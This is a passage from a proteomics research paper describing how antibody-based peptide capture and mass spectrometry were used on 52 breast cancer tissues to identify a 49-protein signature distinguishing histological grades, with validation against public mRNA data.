This study was approved by the regional ethics review board at Lund University, Sweden. Fifty-two breast cancer patients (stages I and II) were recruited from the Department of Oncology (Skane University Hospital, Lund, Sweden). Freshly frozen breast tumor tissues were stored at −80 °C until analysis. Full clinical records were accessible for 50 of the reevaluated tissue samples, including tumor size, steroid receptor status, and lymph node involvement ([Table I](#TI){ref-type="table"} and [supplemental Table S1](http://www.mcponline.org/cgi/content/full/M113.030379/DC1)). The two additional tumors were not primary tumors and consequently were included only for peptide identification purposes. The samples were subdivided via careful pathologic evaluation at the Department of Pathology (Skane University Hospital) based on Nottingham histological grades 1 (*n* = 9), 2 (*n* = 17), and 3 (*n* = 24). Furthermore, 66% of the tumors were estrogen receptor (ER) positive and progesterone receptor (PR) positive. Both the ER-positive and PR-positive tumors were found in all histological grades, with over 40% of ER-positive tumors being grade 3 tumors. The ER-negative tumors were found only in histological grades 2 and 3. Forty-six of the specimens had a defined HER2 status, and all HER2-positive tumors (10%) were grade 3 tumors ([Table I](#TI){ref-type="table"} and [supplemental Table S1](http://www.mcponline.org/cgi/content/full/M113.030379/DC1)). In addition, 41 of the tumors had a defined Ki67 status, and 17 of the samples were defined as Ki67-positive ([supplemental Table S1](http://www.mcponline.org/cgi/content/full/M113.030379/DC1)).
###### Patient demographics and clinical parameters
Parameter Histological grade 1[*^a^*](#TFI-1){ref-type="table-fn"} Histological grade 2[*^a^*](#TFI-1){ref-type="table-fn"} Histological grade 3[*^a^*](#TFI-1){ref-type="table-fn"}
-------------------------------------------------------- ---------------------------------------------------------- ---------------------------------------------------------- ----------------------------------------------------------
Number of patients[*^b^*](#TFI-2){ref-type="table-fn"} 9 17 24
Age (years) 55.8 (11.9) 45.9 (4.0) 45.8 (5.2)
Tumor size (mm) 24.3 (5.9) 21.9 (10.9) 29.5 (9.2)
ER+/ER−[*^c^*](#TFI-3){ref-type="table-fn"} 9/0 14/3 10/14
PgR+/PgR− 9/0 13/4 11/13
Lymph node+/lymph node− 5/4 14/3 10/14
HER2+/HER2−[*^d^*](#TFI-4){ref-type="table-fn"} 0/9 0/16[*^e^*](#TFI-5){ref-type="table-fn"} 5/16
^*a*^ Values in parentheses represent standard deviation.
^*b*^ For two patients, clinical parameters were not received.
^*c*^ ER and PgR were analyzed in cytosol samples with ligand binding assays (LBAs) or enzyme immunoassays (EIAs) as previously described ([@B11]). Samples with a receptor content greater than or equal to 10 (LBA) or 25 (EIA) fmol/mg protein were classified as ER or PgR positive, and samples with values below these levels were ER or PgR negative.
^*d*^ All patients with fluorescence *in situ* hybridization (FISH) amplified tumors and all patients with an immunohistochemical 3+ where FISH could not be evaluated were considered HER2+.
^*e*^ In cases where the sum is less than the number in the group, patient data are missing.
#### Preparation of Trypsin-digested Human Breast Cancer Tissue Samples
Protein was extracted from the breast cancer tissue pieces and stored at −80 °C until use. Briefly, tissue pieces (about 50 mg/sample) were homogenized in Teflon containers, pre-cooled in liquid nitrogen by fixating the bomb in a shaker for two 30-s periods with quick cooling in liquid nitrogen between the two shaking rounds. The homogenized tissue powder was collected in lysis buffer (2 mg tissue/30 μl buffer) containing 8 [m]{.smallcaps} urea, 30 m[m]{.smallcaps} Tris, 5 m[m]{.smallcaps} magnesium acetate, and 4% (w/v) CHAPS (pH 8.5). The tubes were briefly vortexed and incubated on ice for 40 min, with brief vortexing of the sample every 5 min. After incubation, the samples were centrifuged at 13,000 rpm, and the supernatant was transferred to new tubes and subjected to a second centrifugation. The buffer was exchanged for 0.15 [m]{.smallcaps} HEPES, 0.5 [m]{.smallcaps} urea (pH 8.0) using Zeba desalting spin columns (Pierce, Rockford, IL) before the protein concentration was determined using a Total Protein Kit, Micro Lowry (Sigma, St. Louis, MO). Finally, the samples were aliquoted and stored at −80 °C until further use. The protein extracts were thawed, reduced, alkylated, and trypsin digested. First, SDS and *tris*(2-carboxyethyl)phosphine-HCl (Thermo Scientific, Rockford, IL) were added to final concentrations of 0.02% (w/v) and 5 m[m]{.smallcaps}, respectively, and the samples were reduced for 60 min at 56 °C. The samples were cooled down to room temperature before iodoacetamide was added to 10 m[m]{.smallcaps}, and then the samples were alkylated for 30 min at room temperature. Next, sequencing-grade modified trypsin (Promega, Madison, WI) was added at 20 μg per milligram of protein for 16 h at 37 °C. In order to ensure complete digestion, a second aliquot of trypsin (10 μg per milligram of protein) was added and the tubes were incubated for an additional 3 h at 37 °C. Finally, the digested samples were aliquoted and stored at −80 °C until further use. In addition, a separate pooled sample, generated by combining 5-μl aliquots from all digested samples, was prepared and stored at −80 °C until further use. In order to increase the potential tentative proteome coverage, the two samples for which limited clinical data were at hand ([supplemental Table S1](http://www.mcponline.org/cgi/content/full/M113.030379/DC1)) were still analyzed individually and included in the pooled sample.
#### Production and Coupling of CIMS-scFv Antibodies to Magnetic Beads
Nine CIMS scFv antibodies (clones 1-B03, 15-A06, 17-C08, 17-E02, 31--001-D01, 32--3A-G03, 33--3C-A09, 33--3D-F06, and 34--3A-D10) directed against seven short C-terminal amino acid peptide motifs ([supplemental Table S2](http://www.mcponline.org/cgi/content/full/M113.030379/DC1)) were used as affinity probes. The selection of the antibodies was based on the criterion of a limited set of high-performing CIMS antibodies. To accomplish this, we selected nine CIMS antibodies proven in earlier studies to obtain reasonably large, wide (deep), sensitive, and quantitatively reproducible proteome coverage ([@B29], [@B30]). Of note, these binders and their motif specificities were not specifically chosen to address a specific indication such as breast cancer or for targeting a specific subset of proteins. The specificity and dissociation constants (low micromolar range) for eight of the CIMS antibodies have recently been determined ([@B29], [@B31]). The antibodies were produced in 100-ml *E. coli* cultures and purified using affinity chromatography on Ni^2+^-nitrilotriacetic acid agarose (Qiagen, Hilden, Germany). Bound molecules were eluted with 250 m[m]{.smallcaps} imidazole, dialyzed against PBS (pH 7.4) for 72 h, and then stored at + 4 °C until use. The protein concentration was determined by measuring the absorbance at 280 nm. The integrity and purity of the scFv antibodies were evaluated via 10% SDS-PAGE (Invitrogen, Carlsbad, CA). The purified scFvs were individually coupled to magnetic beads (M-270 carboxylic acid activated, Invitrogen Dynal, Oslo, Norway) as previously described ([@B29]). Briefly, batches of 180 to 250 μg purified scFv were covalently coupled (EDC-NHS chemistry N-Ethyl-N′-(3-dimethylaminopropy) carbodiimide (Sigma- Aldrich, St. Louis, MO) and Sulfo-NHS (Thermo Scientific, Rockford, IL.)). to ∼9 mg (300 μl) of magnetic beads and stored in 0.005% (v/v) Tween-20 in PBS at 4 °C until further use. A batch of blank beads was also generated (*i.e.* beads generated with the coupling protocol but without the addition of scFv).
#### Label-free Quantitative GPS Experiments
Four different pools (CIMS-binder mixes 1 to 4) of conjugated beads were made by mixing equal amounts of two or three different binders as follows: mix 1, CIMS-33--3D-F06 and CIMS-33--3C-A09; mix 2, CIMS-17-C08 and CIMS-17-E02; mix 3, CIMS-15-A06 and CIMS-34--3A-D10; and mix 4, CIMS-1-B03, CIMS-32--3A-G03, and CIMS-31--001-D01 ([supplemental Table S2](http://www.mcponline.org/cgi/content/full/M113.030379/DC1)). For each capture, 50 μl of the pooled bead solution was used, and the scFv beads were never reused. The beads were prewashed with 350 μl PBS prior to being exposed to a tryptic sample digest in a final volume of 35 μl (diluted with PBS and the addition of phenylmethylsulfonyl fluoride to a final concentration of 1 m[m]{.smallcaps}) and then incubated with the beads for 20 min with gentle mixing. Next, the tubes were placed on a magnet, the supernatant was removed, and the beads were washed with 100 and 90 μl PBS, respectively (the beads were transferred to new tubes between washing steps, and the total washing time was 5 min). Finally, the beads were incubated with 9.5 μl of a 5% (v/v) acetic acid solution for 2 min in order to elute captured peptides. The eluate was then used directly for mass spectrometry analysis without any additional clean up.
An electrospray ionization LTQ-Orbitrap XL mass spectrometer (Thermo Electron, Bremen, Germany) interfaced with an Eksigent nanoLC 2DTM Plus HPLC system (Eksigent Technologies, Dublin, CA) was used for all samples. The autosampler injected 6 μl of the GPS-generated eluates. A blank LC-MS/MS run was used between analyzed samples. Peptides were loaded with a constant flow rate of 15 μl/min onto a pre-column (PepMap 100, C18, 5 μm, 5 mm × 0.3 mm, LC Packings, Amsterdam, The Netherlands). The peptides were subsequently separated on a 10-μm fused silica emitter, 75 μm × 16 cm (PicoTipTM Emitter, New Objective, Inc., Woburn, MA), packed in-house with Reprosil-Pur C18-AQ resin (3 μm; Dr. Maisch, GmbH, Ammerbuch-Entringen, Germany). Peptides were eluted with a 35-min linear gradient of 3% to 35% (v/v) acetonitrile in water containing 0.1% (v/v) formic acid, with a flow rate of 300 nl/min. The LTQ-Orbitrap was operated in data-dependent mode to automatically switch between Orbitrap-MS (from *m*/*z* 400 to 2000) and LTQ-MS/MS acquisition. Four MS/MS spectra were acquired in the linear ion trap per each Fourier transform MS scan, which was acquired at 60,000 full width at half-maximum nominal resolution using the lock mass option (*m*/*z* 445.1200257) for internal calibration. The dynamic exclusion list was restricted to 500 entries using a repeat count of two with a repeat duration of 20 s and with a maximum retention period of 120 s. Precursor ion charge state screening was enabled to select for ions with at least two charges and rejecting ions with undetermined charge states. The normalized collision energy was set at 35%, and one microscan was acquired for each spectrum. The complete study was run using 26 days of MS-instrumentation time, divided into four blocks of 6.5 days each (one CIMS-binder mix/block). All samples were individually analyzed one time per CIMS-binder mix. In addition, triplicate captures of selected samples were performed within each block as back-to-back LC-MS/MS runs. The reference sample was repeatedly analyzed over time within and between the four blocks ([supplemental Fig. S1](http://www.mcponline.org/cgi/content/full/M113.030379/DC1)). A total of 238 LC-MS/MS runs were performed. Blank beads (*i.e.* beads without any conjugated antibody) were exposed to the pooled digest to allow us to evaluate potential bead background binding peptides. Based on the low number of identified background binding peptides from two blank bead "captures," all generated data were left unfiltered unless otherwise noted.
#### Protein Identification and Quantification
The generated data were first analyzed using Proteios ([@B32]) for generating identifications using both Mascot and X!Tandem. Briefly, all files were processed and converted into mzML and mgf format using the Proteios software environment (v 2.17) platform, and the following search parameters were used for Mascot and X!Tandem: enzyme, trypsin; one missed cleavage; fixed modification, carbamidomethyl (C); variable modification, methionine oxidation (O). In addition, a variable N-acetyl was allowed for searches performed in X!Tandem. A peptide mass tolerance of 3 ppm and a fragment mass tolerance of 0.5 Da were used, and searches were performed against a forward and a reverse combined database (*Homo sapiens*, Swiss-Prot, August 2011, resulting in a total of 71,324 database entries). The automated database searches in both Mascot and X!Tandem and consequent combination (with a false discovery rate (FDR) of 0.01) were used (estimated on the basis of the number of identified reverse hits) for generating peptide identifications. The search results from both Mascot and X!Tandem were combined at the peptide-spectrum match level when calculating peptide-level FDRs. All peptide identifications passing the FDR combined threshold were kept. For details regarding the Proteios software equipment see Hakkinen et al. ([@B32]). Protein identifications derived from Proteios were generated by finding protein groups for peptides that passed the peptide combined FDR cutoff and then were further filtered based on a protein FDR of 0.01. This could be done via a search in the target-decoy database, and the decoys were kept in the combined hits report to then set the protein FDR. The proteins were assembled per sample, and the "Occam\'s razor" approach was used when calculating protein groups. A spectral library was generated that can be directly uploaded in Skyline ([@B33]) for viewing of all fragment ion spectra (see [supplemental data](http://www.mcponline.org/cgi/content/full/M113.030379/DC1)).
Because the Proteios software environment at the time of analysis offered no quantitative label-free plug-in analyzing modules (development is in progress), Progenesis-LC-MS software (v 4.0, Nonlinear Dynamics, Newcastle upon Tyne, UK) was used for generating all quantitative values. Briefly, the raw data files were converted to mzXML using the ProteoWizard software package prior to application of the Progenesis-LC-MS software. The built-in feature-finding tool, Mascot search tool, and combined fractions tool (CIMS-binder mixes 1, 2, 3, and 4) with default settings and minimal input were used. To obtain optimal feature alignment, the first injection run of the pooled sample for each CIMS-binder mix ([supplemental Fig. S1](http://www.mcponline.org/cgi/content/full/M113.030379/DC1)) was used as a reference alignment file, except for CIMS mix 3 runs, in which the halfway pool run was used as the reference alignment file. Features aligned and detected with retention times between 10 and 50 min for CIMS-binder mixes 1 and 2 and between 10 and 49 min for CIMS-binder mixes 3 and 4 were included for quantification. Due to limitations of the Progenesis-LC-MS software, the identification was limited to only Mascot searches, meaning that no X!Tandem-generated peptide identifications from Proteios were included for downstream quantitative analysis. The same database (*Homo sapiens*, Swiss-Prot, August 2011, a forward and a reverse combined database) and search parameters as mentioned above were used, and a cutoff FDR value of 0.01 was applied. Furthermore, the default protein options for protein grouping and protein quantitation within the Progenesis-LC-MS software were used (*i.e.* quantitate from nonconflicting features and group similar proteins). All values that were reported from Progenesis-LC-MS as between 0 and 1 were set to 1. The generated normalized abundance values were then used (log2 values) for statistical and bioinformatics analysis. For details of all protein identifications and protein quantifications, see the [supplemental data](http://www.mcponline.org/cgi/content/full/M113.030379/DC1).
#### Statistical and Bioinformatical Analysis
Qlucore Omics Explorer v 2.2 (Qlucore AB, Lund, Sweden) was used for identifying significantly up- or down-regulated proteins (*p* \< 0.01) using a one-way analysis of variance (ANOVA). The q-values were generated based on the Benjamini--Hochberg method ([@B34]). Principal component analysis plots and heat maps were generated in Qlucore or Matrix2png ([@B35]). The support vector machine (SVM) is a learning method ([@B36]) that was used to classify the samples using a leave-one-out cross-validation procedure, and the analyses were performed on both unfiltered and *p*-value-filtered data. A receiver operating characteristic (ROC) curve ([@B37]), constructed using the SVM decision values and the area under the curve (AUC), was used as a measurement of the performance of the classifier.
Hence, differentially expressed proteins identified from three-group comparisons were fed into the SVM for two group comparisons. We selected this as our initial strategy because the sample cohort for grade 1 in particular was small so that the cohort could be divided into a training set and a test set (which would be the preferred approach). However, in order to assess the effect and evaluate the potential risk of overestimation of ROC--AUC values when using the entire sample cohort for deriving significant analytes prior to an SVM ROC analysis, we randomly divided our samples into 10 different training (two-thirds of grades 1, 2, and 3) and test sets (one-third of grades 1, 2, and 3). This was done to demonstrate the range of AUC values obtained when using only two-thirds of all samples to derive a candidate panel, using an ANOVA (three-group, *p* \< 0.01 in Qlucore) comparison as before. Subsequently, using the training set and the candidate marker panel, an SVM was performed. The SVM was then frozen and applied to the independent test set (one-third of the samples), generating an ROC AUC value ([@B26]). This procedure was then repeated nine additional times using the next randomly generated training and test sets and candidate marker panels. Furthermore, Ingenuity Systems Pathway Analysis (IPA) (v 11904312) was used for the significantly differentially expressed proteins in order to extract information such as protein localization, potential network interactions, transcription factor associations, and association with tumorigenesis. The experimentally derived protein signatures were finally validated at the mRNA level using the GOBO search tool against large cohorts of published gene expression data of defined breast cancer tissues ([@B38]), including clinical parameters such as histological grades 1, 2, and 3 or ER status. The validation cohort was composed of 1,881 mRNA samples (based on 11 public datasets), of which 1,411 had assigned histological grades, including grade 1 (*n* = 239), grade 2 (*n* = 677), and grade 3 (*n* = 495). 1,620 tumors had assigned ER status, including ER-positive (*n* = 1,225) and ER-negative tumors (*n* = 395). The GOBO tool calculates for each tumor (in the database) an activity value of the eight gene modules (emulating breast-cancer-specific biological processes) assessed. The average expression level can then be determined for a gene set submitted to GOBO. Consequently, for each gene set and each of the modules, the Spearman correlation can be determined over all tumors. A p(ANOVA) value is calculated and reported for all the modules, and this simply tests the null hypothesis that a gene set has the same association to all modules. For specific details regarding the underlying calculations and activity values of the different modules emulating breast-cancer-specific biological processes, see Refs. [@B38] and [@B39].
RESULTS
=======
Protein expression profiles of 52 breast cancer tissue extracts were deciphered, including identification and quantification. Tissue biomarker signatures and individual proteins, reflecting either histological grade or tumor progression, could be delineated. An overall workflow outlining the experimental design is shown in [supplemental Fig. S1](http://www.mcponline.org/cgi/content/full/M113.030379/DC1).
###
#### Protein Coverage, Dynamic Range, and Assay Performance
Using the GPS technology based on nine antibodies, a total of 2,140 protein groups were identified ([Figs. 1](#F1){ref-type="fig"}*A*--[1](#F1){ref-type="fig"}*C*). The identification reproducibility was high, resulting in a 54.7% peptide overlap ([supplemental Fig. S2*A*](http://www.mcponline.org/cgi/content/full/M113.030379/DC1)). In comparison, the reference sample, which was repeatedly analyzed throughout the entire project, showed a 43.9% peptide identification overlap ([supplemental Fig. S2*B*](http://www.mcponline.org/cgi/content/full/M113.030379/DC1)). Of the identified proteins, a total of 1,388 were quantified ([supplemental Fig. S3](http://www.mcponline.org/cgi/content/full/M113.030379/DC1)) and subsequently used in the search for tumor-associated markers. The total median coefficient of variation for quantification for one sample (ID 7267) was 10.8% ([supplemental Fig. S4*A*](http://www.mcponline.org/cgi/content/full/M113.030379/DC1)), whereas the corresponding total median coefficient of variation for the reference sample was 22.8% ([supplemental Fig. S4*B*](http://www.mcponline.org/cgi/content/full/M113.030379/DC1)). Notably, about 38% (833 peptides) of the quantified peptides had not previously been reported in the PeptideAtlas ([Fig. 1](#F1){ref-type="fig"}*D*) ([@B40]), indicating substantial novel coverage. This was further highlighted by the fact that a significant portion of the detected peptides were shorter than those previously reported, with a median length of 9 *versus* 11 amino acids commonly found in PeptideAtlas ([Fig. 1](#F1){ref-type="fig"}*E*).
. Data for samples analyzed in triplicate also displayed (bars 26--28, 52--54, and 55--57). *B*, total number of assembled protein groups identified per sample (FDR of 0.01, set at protein level, using Mascot + X!Tandem). Bars ordered according to [supplemental Table S1](http://www.mcponline.org/cgi/content/full/M113.030379/DC1). Data for samples analyzed in triplicate also displayed (bars 26--28, 52--54, and 55--57). *C*, number of unique peptides per protein group (FDR of 0.01, set at protein level, using Mascot + X!Tandem) resulting in a total protein coverage of 2,140 protein groups in the entire study. (Data based on all samples and runs, including replicates, pool runs, and samples with missing clinical parameters.) *D*, evaluation of quantified peptides (Progenesis LC-MS software, limited to Mascot scored peptides using an FDR of 0.01) against the PeptideAtlas (version 2011--08 Ens62, human). In addition, for peptides not present in the PeptideAtlas, a second comparison was performed in order to evaluate whether the corresponding protein had been reported. In cases of multiple protein accessions, all were assessed. *E*, comparison of peptide length. *F*, observed peptide frequency in PeptideAtlas.](zjw0121346110001){#F1}
The distribution of measured log~2~-MS intensity normalized abundances for all quantified proteins was assessed and indicated a dynamic range of ∼10^6^ ([supplemental Fig. S3*A*](http://www.mcponline.org/cgi/content/full/M113.030379/DC1)). The in-depth coverage generated by the GPS technology was further illustrated by the fact that peptides both frequently and rarely reported in PeptideAtlas were detected ([Fig. 1](#F1){ref-type="fig"}*F*). The detected proteins were then grouped by major biological process and were found to cover several groups ([supplemental Fig. S3*B*](http://www.mcponline.org/cgi/content/full/M113.030379/DC1)). Of note, proteins associated with processes such as translation (*e.g.* 60S ribosomal protein) were found to display a higher overall abundance than other proteins involved in, for example, mitosis (*e.g.* CDK1), demonstrating the capability to provide deep and reproducible coverage of both high- and low-abundance proteins in breast tissue.
#### Protein Expression Profiles Reflecting Histological Grades 1 to 3
We first examined whether a tissue protein signature reflecting histological grade could be deciphered. Using a multivariate analysis (three-group comparison), we identified 49 significantly (*p* \< 0.01, q-value \< 0.25) differentially expressed proteins among the grade 1, grade 2, and grade 3 cohorts ([supplemental Table S3](http://www.mcponline.org/cgi/content/full/M113.030379/DC1)). Based on this protein signature, principal component analysis plots showed that histological grade 1 and grade 3 tumors could be well separated, whereas histological grade 2 tumors appeared to be more heterogeneous ([Fig. 2](#F2){ref-type="fig"}), indicating a further subclassification of grade 2 into two subgroups. A clear trend involving both up- and down-regulated proteins could be observed with increasing histological grade. For example, cyclin-dependent kinase 1 (CDK1), minichromosome maintenance complex component 3 (MCM3), DNA replication licensing factor MCM7, ATP-citrate synthase, polyadenylate-binding protein 4, and 6-phosphofructokinase type C displayed an increasing trend and were most up-regulated in grade 3 tumors ([Fig. 2](#F2){ref-type="fig"} and [supplemental Fig. S5](http://www.mcponline.org/cgi/content/full/M113.030379/DC1)). In contrast, analytes such as asporin, spondin, keratocan, chymase, and olfactomedin-like protein 3 displayed higher expression levels in histological grade 1 than in grade 3 tumors ([Fig. 2](#F2){ref-type="fig"} and [supplemental Fig. S6](http://www.mcponline.org/cgi/content/full/M113.030379/DC1)).
{#F2}
We then examined whether the 49 *p*-value-filtered (*p* \< 0.01) proteins could be used to classify the tissues based on histological grade. To this end, we ran a leave-one-out cross-validation with the SVM and collected the decision values for all samples. We adopted this approach because the number of samples, especially of grade 1, was too low for the samples to be split into a test set and a training set. The prediction values were then used to construct an ROC curve, and the AUC values were calculated ([Fig. 2](#F2){ref-type="fig"}). The results showed that the histological grade tumor subgroups could be well separated (AUC = 0.75 to 0.93), although grade 2 again displayed a more heterogeneous pattern.
To examine the robustness of the classification, we then re-analyzed the data after having split the sample set into a random training set (two-thirds of the samples) and test set (one-third of the samples). This process was repeated 10 times, and consequently 10 frozen SVMs were used to test the deciphered biomarker signatures on the test sets. The results showed that the median AUC value was 0.86 for the classification of grade 1 *versus* grade 3 tumors ([Fig. 2](#F2){ref-type="fig"}). The median AUC value for the classification of grade 1 *versus* grade 2 was 0.67, and for the classification of grade 2 *versus* grade 3 tumors the median AUC value was 0.65 ([Fig. 2](#F2){ref-type="fig"}). Hence, consistent results were obtained also when using more stringent data analysis approaches.
After ER status had been eliminated as a potential confounding variable, 27 analytes were still present, of which 25 overlapped with the original 49, and the AUC was 0.90 instead of 0.93 for grade 1 *versus* grade 3 ([supplemental Table S3](http://www.mcponline.org/cgi/content/full/M113.030379/DC1)). As could be expected, similar results were observed whether ER status or PR status was eliminated as a confounding variable, because the distributions of these two clinical parameters followed each other closely among the tumor samples ([supplemental Table S3](http://www.mcponline.org/cgi/content/full/M113.030379/DC1)). When the HER2 status was eliminated as a potential confounding variable, it resulted in an overlap of 35 proteins (*p* \< 0.01) with the 49-protein panel ([supplemental Table S3](http://www.mcponline.org/cgi/content/full/M113.030379/DC1)).
Next, we investigated the effect of using a two-group comparison instead of a multivariate approach to define differentially expressed markers between individual grades ([supplemental Fig. S7](http://www.mcponline.org/cgi/content/full/M113.030379/DC1)). As might be expected, data showed that the classification of the individual histological subgroups was improved, as judged by the AUC values (AUC = 0.91 to 0.92). Focusing on histological grade 1 *versus* grade 3, 50 significantly (*p* \< 0.01) differentially expressed proteins were identified ([supplemental Table S4](http://www.mcponline.org/cgi/content/full/M113.030379/DC1)), and 31 proteins overlapped with the previous 49-marker signature (see [Fig. 2](#F2){ref-type="fig"} and [supplemental Fig. S7*C*](http://www.mcponline.org/cgi/content/full/M113.030379/DC1)) and resulted in an overlap of 19 proteins with the 50-marker panel when ER status was eliminated as a potential confounding factor ([supplemental Table S4](http://www.mcponline.org/cgi/content/full/M113.030379/DC1)). When histological grade 2 was mapped onto the frozen 50-protein comparison of grade 1 *versus* grade 3, it again displayed large heterogeneity and partly overlapped with both cohorts (see [Fig. 2](#F2){ref-type="fig"} and [supplemental Fig. S7*D*](http://www.mcponline.org/cgi/content/full/M113.030379/DC1)). When an unsupervised clustering analysis was used on only grade 2 samples, a subdivision into two subgroups was evident ([Appendix](http://www.mcponline.org/cgi/content/full/M113.030379/DC1), [Fig. S8*A*](http://www.mcponline.org/cgi/content/full/M113.030379/DC1)). We therefore split grade 2 into two groups, 2a (*n* = 11) and 2b (*n* = 6), and showed that 2a was closer associated with grade 1, whereas 2b resembled grade 3 ([supplemental Fig. S8*B*](http://www.mcponline.org/cgi/content/full/M113.030379/DC1)), which indicated that molecular diagnostics might further refine the classification owing to its higher resolution.
#### Biological Relevance of Proteins Associated with Histological Grades 1--3
The biological relevance of the 49-tissue protein signature differentiating histological grades 1 to 3 was then examined. To this end, the cellular localization of each individual protein was mapped using the IPA software ([Fig. 3](#F3){ref-type="fig"}), and network-associated functions and potential relationships were investigated ([supplemental Fig. S9](http://www.mcponline.org/cgi/content/full/M113.030379/DC1)). A trend of down-regulated (extracellular matrix (ECM)) and up-regulated proteins (plasma membrane, cytoplasm, and nucleus) going from grade 1 to grade 3 was identified. Of note, the top-ranked network had the highest expression in grade 3 and was found to be associated with DNA replication, recombination, and repair; cell cycle; and free radical scavenging. The second highest ranked network contained protein associated with tissue structural proteins and was most abundant in grade 1 tumors. For example, a majority of ECM proteins were found in this network, and several were directly or indirectly associated with transforming growth factor β (TGFβ1) ([supplemental Fig. S9*B*](http://www.mcponline.org/cgi/content/full/M113.030379/DC1)). In the top-ranked network, several proteins were directly or indirectly associated with NF-kB and VEGF ([supplemental Fig. S9*A*](http://www.mcponline.org/cgi/content/full/M113.030379/DC1)). In addition, the relationship between the 49-analyte signature and the transcription factor network was also assessed using IPA ([supplemental Fig. S9*C*](http://www.mcponline.org/cgi/content/full/M113.030379/DC1)), and Rb and E2F2 were found to be among the top associated transcription regulators ([supplemental Fig. S9*C*](http://www.mcponline.org/cgi/content/full/M113.030379/DC1)).
{#F3}
#### Validation of Candidate Signature Using Independent Data
In order to validate the 49-tissue protein signature discriminating histological grades 1 to 3, protein data were compared with independent publicly available orthogonal mRNA profiling data of breast cancer. The validation cohort was composed of 1,881 mRNA samples (based on 11 public datasets), of which 1,411 had an assigned histological grade of grade 1 (*n* = 239), grade 2 (*n* = 677), or grade 3 (*n* = 495). Forty-two of the 49 analytes could be mapped to the gene expression data using Gene Entrez ID and were subsequently used in the validation test ([supplemental Table S5](http://www.mcponline.org/cgi/content/full/M113.030379/DC1)). The 42 analytes were then split into two groups based on the observed down- (15 analytes) or up-regulated (27 analytes) protein expression profile for grade 3 *versus* grade 1 and compared with the corresponding mRNA expression profiles ([Fig. 4](#F4){ref-type="fig"}). The protein expression profiles of both down-regulated (*e.g.* spondin 1 and keratocan) ([Fig. 4](#F4){ref-type="fig"}*A*, [supplemental Figs. S6, S10*I*, and S10*J*](http://www.mcponline.org/cgi/content/full/M113.030379/DC1)) and up-regulated proteins (*e.g.* CDK1 and MCM3) ([Fig. 4](#F4){ref-type="fig"}*B*, [supplemental Figs. S5, S10*A*, and S10*B*](http://www.mcponline.org/cgi/content/full/M113.030379/DC1)) were found to corroborate well with the mRNA expression levels in the majority of cases. In one case (serum amyloid P component) the protein expression profile decreased in grade 3 ([supplemental Fig. S6](http://www.mcponline.org/cgi/content/full/M113.030379/DC1)); this did not correlate with the mRNA profile, which was unchanged ([supplemental Fig. S10*G*](http://www.mcponline.org/cgi/content/full/M113.030379/DC1)). Interestingly, the up-regulated protein markers in grade 3 were found to display mRNA profiles with a high correlation to checkpoint and M-phase gene modules ([Fig. 4](#F4){ref-type="fig"}*A*), whereas the group of down-regulated protein markers displayed mRNA profiles with high correlation to the stromal gene module ([Fig. 4](#F4){ref-type="fig"}*B*).
{#F4}
#### Assessing Distant Metastasis-free Survival
Finally, we examined whether the 49-tissue protein signature reflecting histological grade also could be used to assess distant metastasis-free survival, using the same publicly available gene expression dataset. Forty-two of 49 analytes could be mapped to 1,379 mRNA samples with 10-year end-point survival data. The markers were split into two groups, reflecting down-regulated (*n* = 15) and up-regulated (*n* = 27) markers in grade 3 *versus* grade 1, and Kaplan--Meier analyses were then performed to calculate distant metastasis-free survival with a 10-year end point by stratifying the gene expression data into three quantiles (low, intermediate, and high) based on the expression levels of these up- and down-regulated genes ([supplemental Fig. S11](http://www.mcponline.org/cgi/content/full/M113.030379/DC1)). The data implied that in particular the cohort of down-regulated genes (mainly ECM-associated) might be useful in predicting distant metastasis-free survival. In fact, this might even be accomplished by targeting single down-regulated (*e.g.* keratocan and olfactomedin-like protein 3) or up-regulated (*e.g.* CDK1) proteins---that is, low levels of olfactomedin-like protein 3 and high levels of CDK1 increase the risk for distant metastasis.
DISCUSSION
==========
Breast cancer grading has important clinical relevance, because it influences the therapy selected for each patient. However, the histological grading today depends on a microscopic analysis of cellular morphology and is, like most visual analyses, subject to more operator-dependent variation than molecular diagnostics. Consequently, we set out to design an improved grading analysis based on protein expression portraits reflecting each grade, and to identify trends in expression patterns associated with disease aggressiveness. Furthermore, information on pathways regulated in association with tumor grade also has the potential to provide insight into the mechanisms underlying tumor progression, as well as an improved understanding of the features of histological grade that influence prognosis.
By combining label-free LC-MS/MS with an affinity proteomic step, using only nine so-called CIMS antibodies, we were able to identify the first tissue protein signature associated with tumor grade and disease progression in breast cancer. This was accomplished by profiling 52 breast cancer tissues and generating detailed, quantified proteomic maps of 1,388 proteins using the recently developed GPS technology ([@B27], [@B29], [@B30]). The proteome coverage for the GPS platform is limited by the range of specificities of the nine CIMS antibodies, as well as by conventional MS-MS-related limitations (*e.g.* MS time, LC gradient design, and limit of detection). In order to optimize the MS time, we applied a limited set of CIMS antibodies and used short LC gradients. Hence, a highly streamlined workflow and reasonable sample throughput were achieved. In comparison, performing the same study using a conventional MS-based approached would have been challenging considering the number of fractions (obtained via prefractionation) per sample and instrument time that would have been needed in order to handle the complexity of breast tissue proteomes ([@B24]). This was exemplified by Geiger *et al.,* ([@B24]) who separated peptides via strong anion exchange into six fractions that were then concentrated and purified using C~18~ StageTips and subjected to LC-MS/MS analysis with a long LC gradient. Furthermore, relative to GPS, an antibody-based microarray approach offers a substantially higher throughput and can easily handle hundreds of samples within a short period of time ([@B41]). However, the microarray platform does not offer a discovery mode as the GPS methodology does, because the array approach needs one antibody per protein of interest with a pre-defined specificity.
The GPS allowed the identification of a 49-plex tissue protein signature differentiating histological grade 1, 2, and 3 breast cancer tumors with high specificity and sensitivity. Furthermore, using only two-thirds of the samples as a training set for deriving candidate markers and testing using frozen SVMs still resulted in high median ROC-AUC values, particularly for histological grade 1 *versus* grade 3 (0.86). The 49-plex molecular protein fingerprint supported the current view that grade 1 and grade 3 tumors were more distinct, whereas grade 2 tumors were more heterogeneous ([@B9]). In fact, the data indicated that grade 2 could be further subdivided into grades 2a and 2b.
